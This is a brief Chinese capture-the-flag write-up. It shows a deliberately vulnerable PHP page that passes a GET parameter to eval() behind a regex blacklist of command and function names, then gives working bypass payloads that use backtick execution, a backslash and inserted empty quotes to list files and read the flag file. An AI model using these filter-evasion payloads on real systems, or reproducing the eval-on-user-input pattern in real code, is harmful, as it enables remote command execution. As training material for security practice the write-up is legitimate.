题目链接
页面内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| 居然都不输入参数，可恶!!!!!!!!!
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数！！！不叫样子！！';echo '<br>';
eval($code);
}
else{
die("你想干什么？？？？？？？？？");
}
}
else{
echo "居然都不输入参数，可恶!!!!!!!!!";
show_source(__FILE__);
}
|
绕过检测即可执行命令
printf和var_dump没有被过滤 其他命令可以用\或中间插入''绕过
1
2
| ?code=printf(`l\s`);
?code=printf(`l\s;c''at /fffffffffflagafag`)
|